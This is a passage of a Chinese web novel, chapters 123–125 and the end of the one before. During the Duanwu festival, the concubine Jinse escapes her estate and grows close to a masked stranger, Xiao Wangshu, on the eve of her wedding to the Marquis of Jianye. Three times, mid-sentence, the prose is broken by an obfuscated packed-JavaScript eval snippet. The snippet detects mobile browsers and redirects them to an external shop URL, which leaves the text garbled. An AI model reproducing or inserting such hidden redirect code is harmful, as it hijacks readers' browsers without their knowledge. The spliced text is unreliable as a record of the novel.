她扁了扁嘴,脱下罩在外面的藕荷色半袖,搓成绳索,又捡了段手臂粗的枯树枝,用绳索系紧后、向缺口抛去,抛了数次终于成功。 锦瑟得意洋洋地笑了,抓住绳子另一头,脚蹬墙面往上攀去…… 洛川别苑后门是一条窄巷,叫松花巷。锦瑟坐在墙头,提起绳索如法炮制,将树枝换了个方向、卡在墙内,然后转身…… 脚底一滑,抓握绳索已来不及,就那样直直砸了下去。 那街面是白石铺的。 锦瑟做的最后一个动作,是捂住了脸,暗自祈求不要脸先着地。 想象中的坠地剧痛并未到来,只觉双肩一紧、勒得生疼,然后鞋底平缓地触到地面,踩得十分踏实。 她愕然睁开眼,只见面前站着个魁梧男人,三四十岁的模样,虎目虬髯、皮肤微黑、满脸沧桑,腰间别着一把长刀,看去很是高大威猛。他两只手分别揪着她双肩处衣袍,正缓缓将她放回地面。 锦瑟有些紧张,上下打量他一眼:“府兵?” 苻洵手握重权,洛川别苑有一百披甲带刀的府兵。 那男子怔怔看着她,倒退两步皱了皱眉,讶异地问:“你怎么混成这副鬼德行?” 这人怎么回事,一见面就埋汰人? 锦瑟怒火中烧,却碍于他方才相救、不便发作,于是深吸一口气,挤出个微笑:“多谢大侠相救,在下乃洛川别苑妾侍,敢问大侠高姓大名,定有重谢?” “举手之劳,无需言谢”,那男子微微躬身,抱拳沉声道,“在下司徒空,恰好途经此地,还望夫人莫要挂心。” 锦瑟摸了摸钱袋,摸出一锭最大的金饼,笑吟吟递给他:“大侠高洁,妾却不敢不谢,不知大侠是否听闻‘子贡赎人’之典故?” 见他仍迟疑着,她神色带了几分讨好:“不止是谢礼,还有……能否不告诉别人,悄悄带我去洪安湖?” 司徒空难以置信地注视着她,忽然回过神来,转开脸冷冷道:“在下一介寒微,不配与建业侯夫人同车。” 说罢,直截了当推开她手中金饼,径直走向巷外。 锦瑟目送他走远,突然意识到一件事:围墙根下是有府兵巡逻的,她刚才跌下去时,绳子好像掉回了墙内…… 于是一不做二不休,赶紧拔腿就跑,追了上去。 气喘吁吁跑到巷口时,没收住脚、一头撞上司徒空的后背,那脊背满满厚实的腱子肉,将她弹得头昏脑胀、倒退半步。 司徒空皱眉转过来,肉眼可见地怒气冲冲,沙包大的拳头慢慢攥紧。 “三哥,算了算了……”斜刺里冲出个白衣男子,拦住司徒空即将扬起的拳头,“何必跟个弱女子置气?” 然后,那白衣男子转过身,声音笑吟吟地:“三哥就是脾气差些,吓着夫人了,请勿见怪。” 锦瑟瞥见他的脸,“噗呲”一声笑了出来,只见那男子身形瘦小伶俐,脖子上皮肤白皙,戴着一张执夷面具,纯白底色,两眼、鼻子、嘴巴处都涂成几团漆黑,十分憨态可掬。 白衣男子被她一笑,有些得意:“都说这执夷是灵昌特色,逼真吗?” 锦瑟连连点头,白衣男子又将一张面具塞到司徒空手中,怂恿道:“大端午的,来都来了……别绷着脸嘛,戴上试一试?” 那是一张黄铜色的牛耳纵目面具,看去既威严又怒气冲冲,确实很配司徒空。 五月又称恶月,每逢端午,灵昌都有大型的傩舞绕城游行,同时各大河流湖泊都要赛龙舟,祈福纳祥、压邪攘灾,颇受民众拥趸。 往往从晨起便万人空巷,皆戴面具尾随游行、围观赛舟,祭神乐舞、欢笑、打闹和呐喊声混在一起,热闹非凡。 锦瑟出了洛川别苑,便一无所知,见白衣男子笑吟吟的好说话,忙敛衽一礼:“这位公子,可否带妾一睹盛会,定有重谢?” “苻洵的这个妾怎么回事?”白衣男子挑了挑眉、低声嘟囔,上下打量着她,目光在她置于右腰的双掌流连片刻,忽然笑了,“成啊,五两银子,包你逛得痛快。” 锦瑟不知这个价高了还是低了,于是嬉皮笑脸还价:“公子既与侯爷相识,二两?” 白衣男子咬咬牙:“三两。” “成交!” 于是,锦瑟捏了捏袋子,挑出一枚银瓜子掂了掂,递给白衣男子:“一两定金,回府之前付剩下的。” 白衣男子笑吟吟接过碎银:“小生谢恬,愿为夫人向导,童叟无欺、包夫人满意。” 司徒空满眼震惊地看了看她,又看了看谢恬,冷着脸戴上面具,径直往前走去。 谢恬领着锦瑟进店铺挑面具,除了他们脸上戴着的,还有十二生肖、灶火面具、傩神、乐舞面具、傩公傩母等等不一而足。 锦瑟站在一对傩公傩母的面具前,轻柔地抚摸着精致的木纹,爱不释手。 这两张面具的脸、都比画本子上好看些,傩公赤色脸膛、剑眉倒竖、目如寒星,就连常见的一把虬髯,也精简为两撇胡,又清爽又俊朗。 而那张傩母面具,只薄薄涂着淡金底色,眉眼俊秀、顾盼神飞,却蕴着平和婉约的神韵,倒与自己有几分像。 锦瑟忍不住想买下这一对,却被店小二告知,傩公面具已被人订下,只得怏怏不乐、将就着只买下傩母面具,虽然她也不知道,自己买下傩公面具要给谁戴。 . 船桨上下翻飞好似万柄神剑,迅速劈开一簇簇雪白的浪花,鼓声渡水而来、好似无数惊雷同时炸响。鼓声越来越急,坡上的围观者喊声震天,旗杆上挂着五彩缤纷的锦标,令人眼花缭乱。 锦瑟左手撑一把黑色油纸伞遮蔽烈阳,右手举着一个圆圆的筒状物、放到眼前,视野骤然被拉近,龙舟之上舵手的一举一动都清清楚楚,就连他们油黑发亮的虬臂、涨红的脸庞、纷飞的汗滴,都纤毫毕现。 谢恬说,这叫千里镜。 正看得出神,左手一轻,黑伞已被谢恬接了过去,手中多了个冰凉的小碗。 “雨滴糕,清热解暑”,谢恬笑得眉眼弯弯,伶俐中透着乖巧,“夫人尝尝是否合口味?” 糕点剔透如水,面上撒着花生碎、山楂片、寒瓜碎,浇上黄糖水,在碗底铺了一层薄冰。一口下去,软、弹、凉、酸、甜齐齐涌入唇舌,滑过喉咙,五脏六腑都是舒爽的。 这一两银子花得,值! 一口接一口,雨滴糕极快见了底,谢恬眼疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404479|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手快抢过碗:“啖冰伤身。” 锦瑟感激地看了他一眼,却发现他正透过面具眼孔注视着自己,她不禁有些错愕。 人群中忽然爆发出一阵喝彩,潮水般涌向坡上,谢恬忙护着她往更高处跑,跑到坡顶时、发现仍有些个高的人挤在前面,挡住了视线。 谢恬咬咬牙,给司徒空使了个眼色,司徒空瞪了她一眼,不情不愿走过来,与谢恬一左一右,架住她胳膊、提足一跃…… 暑热的风从头顶吹下,视线豁然开朗,她已被那两人架到了树顶。 却丝毫不惧,只感觉前所未有的激越和畅快,比起这腾挪跳跃的畅意,竟连龙舟也没那么好看了。 “两位……大侠,商量个事。”她试探着,看了看司徒空,司徒空冷哼一声,头扭得更远。 最终将目光定格在谢恬身上:“能不能教我飞?” 想了想又说:“开个价嘛……一切好谈。” 谢恬迟疑了片刻,正要说些什么,忽然眼神一冷,扯了扯司徒空的袖子。司徒空顺着他视线看去,随即,只听“嗖”的一声,她身边空了一半,司徒空已不见踪影。 谢恬力量不足,一手攥住她胳膊,一手扒着树干,咬牙带着她往下滑,她摇摇欲坠刚滑到一半,耳边传来一声“抱歉,我们还会再见的”。 拉着她的另一份力量,也消失了。 她脚底一空,一路砸开密密匝匝的树枝、往下坠去,撞得枝叶横飞、后脊生疼。 都是些什么人嘛?! 回首看,地面景物在眼前急遽放大,她再次捂住了脸,咬紧牙关、预备承受巨大的撞击…… 身躯忽然一轻,她已落入一双坚实的臂膀,那人带着她退了几步,化去撞击的力道,然后,一张赤色脸膛的她眼前放大。 戴着傩公面具的人。 他穿一袭浅红色薄衫,肩宽腰窄、身材高挑、双腿颀长,挺拔有力的腰间束着胭脂色锦带,如一株笔直的修竹。 轻轻放下她之后,他先注视了她半晌,然后谦恭地退了三步,躬身长揖:“事发突然,无意冒犯姑娘,还望宽恕。” 他的声音很温柔好听,深沉醇厚却气息平稳,无端令她想到窖藏的桂花酒,微甜而不腻、香醇而柔和。 他没有熏衣香,周身带着皂角的气息,清爽利落。 锦瑟无端觉得他亲切,忍不住想揭开他的面具看看,怔愣片刻才意识到自己失礼,忙敛衽一礼:“事急从权,多谢公子相救。” 那人走得近了些:“姑娘可是跟同伴走散了?” 锦瑟思索片刻,摇头:“我是偷偷溜出来玩的,想着爬到高处、视野好些,结果下来时脚滑了。” 那人肩膀颤动,锦瑟觉得他在笑,有些赧然。想了想,从袋子里取出一块碎银,塞进他手里。 “多谢多谢……我先回去了。” 刚走出十多步就呆住了,她不认识路…… 红衣男子盯着手中碎银,呆愣了半晌才醒过神,大步流星追过来:“好不容易溜出来,这么早就回去,会不会有些可惜?在下对灵昌还算熟,知道不少好玩的地方。” 锦瑟两眼放光:“好啊好啊,雇你作向导,一天要几两银子?” 红衣男子噎了片刻:“在下无需银钱,可否向姑娘提个小小请求?” “在下想看看,傩母面具下是怎样一张脸。” “正有此意”,锦瑟赶忙答应,忽然想到什么,有些迟疑,“可这面具一旦戴上,须得一直戴到入夜再揭下,祈福攘灾的效果最好。” 红衣男子:“那就等入夜?姑娘无需担忧安危,亥时之前,在下定会送姑娘平安回府。” 锦瑟笑了:“甚好,我叫锦瑟,家住庆云巷。” 红衣男子温声道:“在下萧望舒,一介商贾子弟,居无定所。” 123. 成婚的理由 一茎深绿的香蒲叶绾进发髻,一簇火红的榴花簪在鬓边,萧望舒牵过她的手,用红、黄、蓝、白、黑五色丝线编成络子,轻轻绕上她皓白的手腕。 “系五彩长命缕,压邪避毒,无病无恙”,他低头缠着丝络,动作温柔而专注,“姑娘定会福寿康宁,长命百岁。” 锦瑟心底涌出一股熨贴的暖意,看着他替自己缠好丝络。心念一动,从自己腰间解下一只香囊,向店小二要了些雄黄粉,装进香囊中。 然后,示意他站起身,她蹲下去仔细打量,他腰间挂一块白色玉佩,颜色匀净、质地细腻,镂刻着一条跃出浪花的鲤鱼。 比照片刻,她将香囊系到玉佩同侧、隔了约两指远,又替他捋了捋玉佩的流苏,一白一红、居然相得益彰。 “端午佩香囊,避邪驱疫,强身健体,公子定会馨香溢世,万事如意。” 她抬头起身时,发现萧望舒正静静注视着她,不知看了多久。 不知是否是错觉,透过傩公面具的一对眼孔,她看见,他的双眸似有泪光一闪而过。 锦瑟鼻尖莫名酸楚,鬼使神差地伸出手去,一把掀开他的面具。 顷刻间,她心跳漏了半拍,怔愣在原地。 丹青难以描画的稀世姿容、超逸风采。 面具掀动带起的风,吹过他额角两绺乌发,上扬的剑眉精致如画,双眸澄澈水润,淡红的双唇如一瓣桃花。眉眼沉静而内敛,似悲戚似欣喜,双眸确实泛着微微的红。 锦瑟一阵恍惚,生出不真实的错觉——这张脸似曾相识,她的胸口毫无征兆地颤了颤,莫名的悸动传遍全身,悸动之后,又有怅惘和酸涩使劲撕扯着她的心绪。 萧望舒轻笑一声,也抬手揭开了她的面具。 然后,他双眸含泪,唇角噙一丝笑,一瞬不瞬盯着她:“姑娘果然如我想得那样,如同九天仙子。” . “傩公傩母的传说,来自蛮族,又叫盘哥与瓠妹”,萧望舒替她重新戴好面具,又将自己手中那张递给她,“帮我戴回去。” 锦瑟双颊滚烫,咽了口唾沫,踮起脚,将面具覆在他脸上,双手牵着丝带环住他的头,在他脑后打了个结。 指尖无意拂过他发丝时,她愣住了,松开手倒退两步,难以置信地盯着他。 那乌亮的黑发下,稍一拨弄,竟藏着丝丝缕缕的灰白。 他看起来,也不过弱冠出头的年龄。 萧望舒好似心知肚明,浑不在意地隔着衣袖、握住了她的手腕。锦瑟感觉被烙铁烫了一下,下意识要甩开他的手,却没舍得。 反正都戴着面具……她怀揣侥幸。 萧望舒拉着她走向人头攒动的子午大街,边走边讲故事。 “很久以前,天地间突发大洪水,整个大陆化作泽国,人烟绝迹。” “忽有一日,无尽汪洋之上漂来一只葫芦,葫芦经行之处,洪水退去、山川拔地而起、树木迅速生长成林,葫芦里坐着一对兄妹童男童女,一个叫盘哥,一个叫瓠妹。” “后来,这一对兄妹结为夫妻,种族得以再度繁衍,他们也成为蛮族人供奉的始祖神灵。” 锦瑟:“就好似中原传说,共工怒触不周山,天柱折、地维绝,洪水滔天,女娲修补天穹,伏羲斩巨鳌四足以撑天地。” “然后,女娲伏羲结为夫妻……” 萧望舒颔首:“上古民智未开,以歌谣传唱史载,天地突发大洪水,兄妹联手补天柱地,然后结为夫妻繁衍后嗣,大同小异。” 锦瑟忽然发问:“为何所有传说里,本为兄妹的始祖神,最后都要结为夫妻?” 萧望舒反问:“姑娘觉得呢?” 锦瑟蹙眉思索半晌:“许是太寂寞了,毕竟天地之间、再无旁人,日久生情嘛;又许是二人要创不世之功业,需并肩携手;又许是伏羲氏需诞育更多强大的后嗣……” 萧望舒苦笑:“相知相伴、同进同退,携手创不世之功,兄妹或至亲即可,何必非以夫妻的身份?” “就连繁衍后嗣……末了,还不是女娲孤零零地抟土造人么?与伏羲氏何干?” 他神色逐渐恍惚,语调也越来越低,更像是喃喃自语。 锦瑟只觉他的弦外之音太过隐晦,一时不知如何作答,却见他笑容愈发苦涩,喟然长叹:“说到底,不过是我自以为是、妄自揣测,人家夫妻的事,我又怎知晓这许多。” 二人沉默怔愣的瞬间,忽听鼓声震天、唢呐齐鸣,彩色花瓣扬上半空、再飘飘转转落下。 戴着面具的民众,浩浩荡荡簇拥着大鼓、唢呐队、高架游车、跳跃舞打的巫师、舞狮舞龙队组成的傩舞大队,熙熙攘攘、载歌载舞,从南到北、顺子午大街而来。 红袍巫师动作刚劲有力、节奏势烈明快、气势威武磅礴,哑声吟诵着祭神歌谣:“……堰九里兮酾流为雨,水泱泱兮芃芃麦黍。鸿隙堙兮谣荳芋,侯嘉绩兮依其在渚……” 信手挥洒,碧翠辛香的茱萸叶片、吹落如雨。 人群一拥而上,抬手去抢、去接赐福。锦瑟看得眼热,也跟着往前拥,却被挤得东倒西歪,险些跌倒时,萧望舒伸臂揽住她,舒展另一臂、信手一捞。 就这样,揽着她挤出喧嚣的人群,牵起她的手、掰开五指,将两枚茱萸叶轻轻放到她掌心,再合拢她的五指。 然后,拉着她逆着人群拥挤的主街,一直走到傩舞大队的末尾,巷口早已停着一架马车。 “去南郊放风筝?” “好啊。” 竹马踉蹡冲淖去,纸鸢跋扈挟风鸣。 萧望舒早已备好两只纸鸢,一只似龙而无角,他说那是螭龙,一只鲜红的长尾雉鸡,眼睛处却多了一只瞳仁,他说那就是雉,画师多绘了一笔瞳仁。 绕腕放线,丝线渐少,螭龙和雉并肩翱翔,浅蓝的天空没有一丝云,地上的他们并肩站着,越站越近,望着纸鸢越飞越远,化作两个小黑点,小黑点也融入了一碧如洗的晴空。 然后,他撑起黑面油纸伞,替她遮挡阳光,扶着她走上马车。 整个过程,她好似浮在云端,脑子里一片混沌,不由自主跟随他的一举一动,一边抗拒、一边希冀。 她知道,自己身为侯府妾侍,与外男如此亲近,甚是不妥,却仍有一股无法抑制的强烈渴望,引着她、一步步靠近他。 暮色渐起,洪安湖的上百艘楼船早挂上了灯笼,星空之下,灯笼倒映水中,与湖岸上万家灯火交相辉映、流光溢彩。 舢板飘荡在波浪星海之间,船头摆一张小几,二人静静对坐。四周喧嚣皆不入耳,天地间仿佛只有这一叶扁舟、扁舟上的他们。 小几正中的盘中,放着几个深碧的角粽,萧望舒正认真解着捆粽子的丝线,指尖微颤。 先切开一个红枣馅的,深红发黑的蜜枣从正中剖开,分毫不差,一人一半; 再切开一个鲜肉馅儿的,那块连着皮和肥肉的放到自己面前,全瘦的放到她面前盘子里; 最后切开一个蛋黄馅的,将边边角角的糯米全部拨开,只留薄薄一层、裹着黄澄澄的鸭蛋黄,喂到她唇边。 她双颊滚烫,张嘴咬了一小口,油润软糯的口感、咸香混着糯米的清甜,恰到好处。忍不住想多吃几口,却见他已收回手,将剩的大半个放到旁边。 “糯米不好克化,每样尝一小口就行了”,他倒了杯热茶递到她面前,“喝点茶水,解腻。” 细白瓷盏中的茶汤涟漪微漾,比平时喝得茶色泽更浅、偏纯澈的淡黄,入口无半丝甘苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14413552|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有清爽微甜的炒麦熟香。 萧望舒见她喝得习惯,温煦地笑了,眼睛亮晶晶的,又灵动又深沉:“西羌那边用黑荞麦炮制的茶,味甘,性温。你们姑娘家容易体寒,喝这个比别的茶好些。” 吃过粽子,喝了麦茶,他又拿出雨过天青瓷杯,为二人斟满五加酒。 “雄黄酒性烈,姑娘虚不受补,不如尝尝这五加酒,祛风和血、益气养胃。” 梆子声在远方敲响,不紧不慢地渡水而来,她的心跳突突加速。 亥时已到。 她突然不想回洛川别苑了。 . 马车并未停驶入庆云巷,而是稳稳停在松花巷的后门。檐下羊角灯透出昏黄的光,门房喊着“夫人”恭迎上来,巡逻的府兵五人成列走过。 锦瑟如梦初醒。 萧望舒并未离去,只站在门口的幽微灯光下,静静注视着她:“姑娘明天可有闲暇?” 锦瑟痛苦地闭上眼,深吸一口气,敛衽施礼:“好教公子知晓,奴家乃建业侯侍妾,且与侯爷大婚在即。配不上公子如此相待,也不愿践踏公子真心。” 萧望舒神色未变,目光更深沉:“知君用心如日月,事夫誓拟同生死。还君明珠双泪垂,恨不相逢未嫁时。” “姑娘想说的,是这个么?” 锦瑟双眸泛酸,声音已带了一丝哽咽:“妾身多谢公子体察和原宥。” “原来如此”,萧望舒像是松了口气,笑了笑,“姑娘与建业侯并未大婚,却先为他封心锁爱、三贞九烈了?” “在下不才,从未成过婚,也不懂什么夫妻情分。觍颜请教姑娘一句,这建业侯,姑娘为何非嫁不可?” 锦瑟愣住了,被他这么一问,好像原本理所当然的事,也变得没那么自然了。 萧望舒柔声问:“因他出身高贵、权势煊赫,对于你是更好的前程?还是他曾逼迫于你?” 锦瑟思索片刻摇头:“侯爷虽高在云端,妾身也并无攀附之心,至于逼迫……妾受过重伤、前尘尽忘,但听府中家人叙说,侯爷性情十分温厚,不是那种逼嫁之人。” “说是不逼嫁,却早早四处宣扬婚讯,将人架上火堆,果真温厚”,萧望舒眼含讥诮轻声自言自语了一句,看向锦瑟时却已恢复平和,极有耐心地循循善诱。 “或因姑娘侍奉他数年,已习惯了他。或是一直仰赖他活命,觉着离了他、不知该去往何处?” 这次锦瑟思索的时间更长了些,却仍是摇了摇头。 萧望舒扬眉微笑:“劳烦姑娘想一想这问题,想一想要与建业侯成婚的理由。” “明日巳时,姑娘来或不来,在下都会守在此处等候。” 锦瑟穿过梅林间的小径,走向卧房时,蓦然回首,他还在灯火阑珊处,侧身负手而立。她恍惚生出错觉,好似他已在那等了千年万年。 主屋的琉璃灯光照得亮如白昼,絮儿和柳儿匆匆迎上来,含笑询问:“夫人今日出门玩得如何,可畅意松快了?” 不似设想的那般焦虑惊惶,她松了口气,愧疚稍解,含糊着应了声“还行”。 柳儿满脸喜色:“那就好,侯爷跟前的郎统领下午传信……” “侯爷回来了?”锦瑟心一沉,愕然发问。 絮儿摇头:“侯爷还在金阙视察,让郎统领先回来传信。说是夫人既然已经身子大好,成天闷在府里也不好,不如多出去走走。” 柳儿补充道:“侯爷还说,夫人若觉着前呼后拥太招摇,想独身出去散心,婢子们只管收拾盘缠细软。夫人的安危,自有郎统领暗中相护。” 瞌睡了就来送枕头,这建业侯,还真是贴心…… 闷闷想着,对那素未谋面的建业侯,愧疚又多了几分。 124. 私奔前夕 “望舒,你有钱吗?”锦瑟突兀地开口。 她问出这句话时,萧望舒歪着身子、散漫地坐在草坪上,对着天边那钩新月,有一搭没一搭地饮酒。他手中捏着一只扁圆的酒壶,通体纯银,精雕细錾着梅花和芙蕖。 听她如此问,他饮酒的动作僵住了,剧烈呛咳起来。 “有,要多少?” 锦瑟定定神,不假思索道:“五千金。” 这里是灵昌城东郊百里外的舞阳山,南北长三十多里、东西长二十多里,皆为地势低矮的丘陵。二十多万亩果园覆盖满山,梨树、李子树、柑橘树、荔枝树、葡萄架,最多的还是桃树,故又称“桃花山”。 萧望舒说,三月的舞阳山最美,梨花融融月、橙花馥香雪,而那些桃花,漫山遍野浅粉如云,满树和娇烂漫红,万枝丹彩灼春融。 此时,人间芳菲已尽,所有枝头都挂着累累硕果。 他带她出城采风,马车只能停在山下。刚下过一场雨,山路湿滑难行,起初她在他的搀扶下、还能勉强走上一段,逐渐体力不支、双腿酸软。于是他矮身蹲下,背着她上山。 他看着清瘦,力量却很大,背着个人爬山路,还能边走边聊、脸不红气不喘。 “灵昌城内车马喧嚣,气息杂乱,对病体恢复并无好处。姑娘前期需静养,如今外伤已愈,可多去郊野走动,吐纳自然之气,强身健体。” “而这郊野,气息最纯净清爽的时候,便是新雨初停之后。” 这天,他们在山顶一户果农家中落脚,他给了果农一些钱,买下果农猎来的山鸡、风干的熏肉、蘑菇干、屋后几畦菜蔬各种食材不一而足。 先将还在滴血的野山鸡拔毛、开膛破肚、清洗干净了剁块,盛入陶罐,再加姜片、参片、蘑菇干、盐,剖开一只香橼,挤出汁水。加清水烧开、转小火慢炖。 再切下一小块熏肉,大火沸煮,途中换了几遍清水,煮得软烂放凉之后,切成薄片盛入小瓷碟。 又从屋后菜地里摘下新鲜蔬果,丝瓜来炝炒、青瓜切片凉拌、茄子切块红烧、豆角干煸至淡淡焦黄。末了,掐来一把地瓜叶烧汤。 锦瑟饶有兴味看他娴熟地处理食材:“人不可貌相,瞧着是个公子哥儿,居然会一手好厨艺。” 萧望舒得意地笑了:“我打小就喜欢四处游历,又曾在山中住过小半年,多练练就会了。” 锦瑟上下打量他:“瞧你这遍身绮罗,不太像用不起仆人的样子。” 他笑容淡了几分:“外公不喜使奴唤婢,我也跟他学着,凡事亲力亲为。” “看来是个很大的家族”,锦瑟更来了兴趣,“略大些的家族都规矩森严,你这样成天不着家,家主也不管?” 萧望舒悠悠地说;“眼下是哥哥在当家,他一向惯着我,不大约束我。” 他拿了个大瓷钵,往里面舀山鸡汤,炖了一个多时辰,早已肉烂骨脱、汤汁乳白,撒一把碧绿的葱花,鲜香盈鼻。锦瑟忙过去,帮着端其他的菜上桌。 “余老伯,吃完饭再忙罢”,他一边布筷子,一边扬声招呼,“叫上铁蛋他们,一起来吃饭。” 果园主人乐呵呵地坐上桌:“老头子在山中忙活半年,倒也吃上了现成。” 余老伯家中女眷都住在山下村子里,只带儿子们上山守着果园。 在城中时,萧望舒用餐喜欢挑人少幽静的位置,到了山野却反了过来,喜欢招呼一大桌子人,热热闹闹边吃边聊。 茶足饭饱,他怕她积食,先带她去葡萄架下散了半个时辰步。 她午寐起来时,他已从果园里摘下一小盆水蜜桃,个个白里透红、皮薄肉软。用盐水洗净桃毛后,湃在井水里,吃起来鲜甜烂软、凉而不寒。 他很会玩、也很会生活,无论在市井还是乡野,他总能找到最惬意的活法,把她照顾得无微不至。 和他在一起的时候,总是自在又松快,流连忘返。 山中不知岁月长,今天已是五月初八。 五月初四龙舟会,惊鸿一瞥的邂逅之后,锦瑟整天都与萧望舒在一起。 五月初五上午,他接她去了城东北的来仪亭,从车内抱出一架琴,平放于亭内石桌上。 琴身幽黑发亮,木质纹理似锦缎,琴身錾刻古篆“桐梓合精”,七根透明琴弦泛着淡绿的微光——名琴绿绮。 “凤飞翱翔兮,四海求凰。无奈佳人兮,不在东墙。将琴代语兮,聊写衷肠。何日见许兮,慰我彷徨。” 锦瑟对音律不甚了解,却也听得出,那柔婉而缠绵的琴音中,透着深深执念和绝望。听得久了,她鼻子一酸、险些落泪。 中午,他带她七弯八绕,拐进巷子深处,停在一家馆子前,门口的杏帘挑起三个大字——醉维阳。 “这里的老板和厨子都是滬南人,食材新鲜些,做出的口感和味道跟维阳差不多”,他举箸夹起一只鱼眼睛放进她碗里,再夹起另一只放进自己碗里,“这道拆烩鲢鱼头是他家招牌。” “滬南?维阳?”她觉得耳熟,思索半晌问,“也是荣国的?” 他垂眸盯着桌面看了半晌:“如果你想,它就可以是。” “你这么说,现在不是荣国的”,她忙摇摇头:“我不想……喜欢一朵花,就让它好好长在枝头,何必一定要攀折下来,据为己有?” 他呆愣了片刻,笑了:“很久之前,有位故人也这样与我说过,可到最后,他还是毫不犹豫折走了花枝。” “那位故人现在何处?” “过世已近两年。” 下午,他们去了城西的首饰铺,他从怀中取出一叠纸,一张张在她眼前展开,纸上精工细笔画着簪、钗、华胜、项链、手链、镯子等各色饰品。 “喜欢哪个?可以多选。” 她忙摇头推拒:“妾即将成婚,不便收取外男所赠之物。”虽知道,他们这两□□夕相处已是逾矩,却不愿这逾矩越来越离谱,发展为实质。 “昨夜的问题,姑娘可想过了?”萧望舒注视着她双眸,“先订着吧,待姑娘想清楚,来不来取、全看姑娘意愿。” 于是,她选了一对手镯,款式颇具匠心:千股金银花丝分别缠作梅枝、荷花茎,绕为两股,点缀着石榴石雕琢的梅花、芙蓉石雕琢的九瓣芙蕖,深红浅粉、煞是好看。 选好手镯之后,她蓦然抬头,发现他正一瞬不瞬凝视着她,眼神似喜似悲。 五月初六,他在庆云巷正门接她上车,从子午大道南下。出了闹市、驶入郊区之后,有仆人牵着两匹马、站在那等他们。 他将那匹个子矮、温驯的小白马牵到她面前:“姑娘想不想学骑马?” 她愣住了,霎时联想到每晚的梦境,心绪翻涌。 从四月初醒来至今,锦瑟一直在做相似的梦。 时而她变成了一只鸟,在林间穿梭、轻松跃过丈宽的沟壑、贴着陡峭的岩壁攀缘而上;时而她变成了一尾鱼,在幽深的水底泅渡、在宽阔的波面游弋。 更多的时候,她是一名飒爽英姿的骑士,骑着快马追风逐电,四周的景致不断变化,从花团锦簇、燕舞莺啼,到碧树成荫、蝉鸣阵阵,再到黄叶飞舞、衰草连天,又到冰霜满地、白雪翩跹。 同行的人也一直在变化,有时是浩浩荡荡一大群黑衣人,有时是白袍男子,有时是红衣少年…… 梦里有多敏捷飘逸、潇洒灵动,醒来之后,面对自己沉重无力的肉身,就有多沮丧。 萧望舒要教她骑马,可谓正中下怀。 正值灵昌平原早稻分蘖之时,微风吹过,一望无垠的青碧漾起层层涟漪。农民正晒着日头,在田间打捞青苔、除草拔稗。 燥热的风灌进帷帽,白纱在颊边贴来贴去,又热又闷,锦瑟揭下帽子挂在身侧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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锦瑟:“其一,当年建侯爷一掷千金,拯救妾于淤泥之中,九年来金尊玉贵供养着妾,若贸然背主而去,是为忘恩负义。” 萧望舒:“为恩?” 锦瑟:“其二,建业侯开疆拓土、保家卫国,我等方能不惧敌寇、太平游冶。妾虽不才,也景仰如此英雄,愿为其执掌中馈,令其无后顾之忧。” 萧望舒:“为家国大义?” 顿了顿又问:“仅仅是为了恩情,家国大义,就必须与他成婚?” 锦瑟缓缓摇头,目光坚决:“其三,妾虽前尘尽忘,然听旁人说,已与他相守九年、又曾为他罔顾生死。而他放着名门贵女不娶、执意要扶正妾身,我与他定是有过深厚的情分。” 萧望舒脸上显出嘲讽:“可你现在心悦于我,为何还要嫁给他?” 锦瑟摇头,却并未否认心悦之说:“我与他大婚在即,几乎已成定数,拖延逃避亦是无用。不如一切向前看,好好经营与他的婚事。” “假以时日,若能寻回昔日情分自然最好,寻不回也无妨,人这一生除了爱还有更多的追求,我可以把建业侯夫人当作一份职务认真对待……总会有适合我们的相处之道。” 萧望舒脸上的嘲讽消失了,神色凝重,微微低头、垂眸看向地面。 “原来如此,当初你就是这样嫁给了他。”夜色中,他的声音轻的像幻觉,被风一卷就消失无踪。 再度抬眸时,已然扬眉微笑,像是开悟、释怀:“多谢姑娘指教。” 那夜之后,萧望舒不再与她谈论建业侯,甚至不再提及她那将近的婚期,锦瑟也不再提及。 五月初七,他们一起骑马回灵昌。 五月初八,他们一起攀登舞阳山。 夜晚,一起在山顶草坪看星星月亮时,锦瑟沉思良久,像是下定决心,忽然开口:“望舒,借我五千金。” 萧望舒微愕,眼里闪过惊喜:“你我无需言借。” “我想赌一把,明后两天在松花巷的门口等我。” “好,等你。” 125. 再贺新郎 满屋子丝带绸花,红酽酽、喜洋洋。 菱花镜里,新嫁娘初凝新妆,肌肤胜雪、眉似远山、眸凝春水、面若飞霞、唇若涂丹。正红色婚服,金线迷离绣着螭龙、白狮和雉。 锦瑟心急如焚:“侯爷还没回来么?” 絮儿笑道:“夫人莫忧,听秦统领传信,侯爷昨天就回了城。但咱们这儿风俗,新婚夫妻拜堂前一天是不能见的,不吉利。” 柳儿捂嘴偷笑:“等拜完了堂,成完了礼,自然有的是时候见。” 锦瑟很想扇自己两耳光,叫你不打听清楚习俗?酝酿了一肚子说辞,直到快上轿辇,都没见到那传说中的建业侯,更遑论晓之以理、动之以情。 正踌躇间,正门传来一阵噼里啪啦的鞭炮响,紧跟着礼乐齐鸣。 